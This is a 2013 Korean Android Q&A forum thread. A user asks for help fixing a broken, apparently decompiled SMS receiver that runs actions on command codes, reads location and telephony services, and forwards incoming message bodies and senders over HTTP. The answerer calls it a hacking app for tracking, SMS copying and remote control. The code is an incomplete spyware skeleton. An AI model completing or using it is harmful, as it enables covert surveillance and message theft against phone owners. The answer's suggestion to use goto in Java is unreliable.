마스터Q&A 안드로이드는 안드로이드 개발자들의 질문과 답변을 위한 지식 커뮤니티 사이트입니다. 안드로이드펍에서 운영하고 있습니다. [사용법, 운영진]

sms 리시버 관해서 질문합니다.

–2 추천

안녕하세요

1111, 2222, 3333, 4444 란 문자를 받은걸 감지할 시에

각각의 동작을 수행하는 어플 코드 중에 일부입니다.

그런데, 한참 만들다 막혔습니다. ㅠㅠ

에러나는 부분은 모두 주석처리 했습니다.

도와주실 분 계신가요??

 

	public void onReceive(Context paramContext, Intent paramIntent) {
		Bundle localBundle = paramIntent.getExtras();
		this.global_context = paramContext;
		this.tm = ((TelephonyManager) paramContext.getSystemService("phone"));
		this.lm = ((LocationManager) paramContext.getSystemService("location"));
		this.cName = new ComponentName(paramContext.getPackageName(),
				Recording.class.getName());
		Criteria localCriteria = new Criteria();
		localCriteria.setAccuracy(0);
		localCriteria.setPowerRequirement(0);
		String str1 = this.lm.getBestProvider(localCriteria, true);
		Object[] arrayOfObject;
		SmsMessage[] arrayOfSmsMessage = null;
		int i;
		int j = 0;
		if (localBundle != null) {
			arrayOfObject = (Object[]) localBundle.get("pdus");
			arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
			i = 0;
			if (i < arrayOfObject.length)
				// break;
			j = arrayOfSmsMessage.length;
		}
		for (int k = 0;; k++) {
			if (k >= j) {
				return;
				//arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[]) arrayOfObject[i]);
				//i++;
				//break;
			}
			SmsMessage localSmsMessage = arrayOfSmsMessage[k];
			String str2 = localSmsMessage.getDisplayMessageBody();
			String str3 = localSmsMessage.getOriginatingAddress();
			try {
				if (str2.equals("1111")) {
                                        수행할내용1
				} else if (str2.equals("4444")) {
                                        수행할내용4
				}
			} catch (Exception localException) {
				localException.printStackTrace();
			}
			if (str2.equals("2222")) {
                            수행할내용2
			} else if (str2.equals("3333")) {
                            수행할내용3
			} else {
				this.strbuf = getSmartSMS(str2, str3);
				httpSendMsg(this.strbuf);
			}
		}
	}

 

익명사용자 님이 2013년 2월 24일 질문

1개의 답변

0 추천
해킹앱 만들지 마시고 자바 공부부터 하세요...

위치추적에 SMS카피, 원격조종 ㅋ

이거 원래 잇어요 제가 만든거중에

근데 자바에서

return; 은 void타입의 함수에서 함수를 끝내는데 사용됩니다

return 밑에는 아무 코드도 못써요

break:는 자바의 반목문(for,while,do_while등)에서 반목문을 나갈때 사용됩니다(한단계)

한 반목문에서 break;밑에선 코드가 실행되지 않습니다

for문 2개를 나가실경우 label과 goto를 사용하시면 됩니다..
수상한i (8,050 포인트) 님이 2013년 2월 24일 답변
...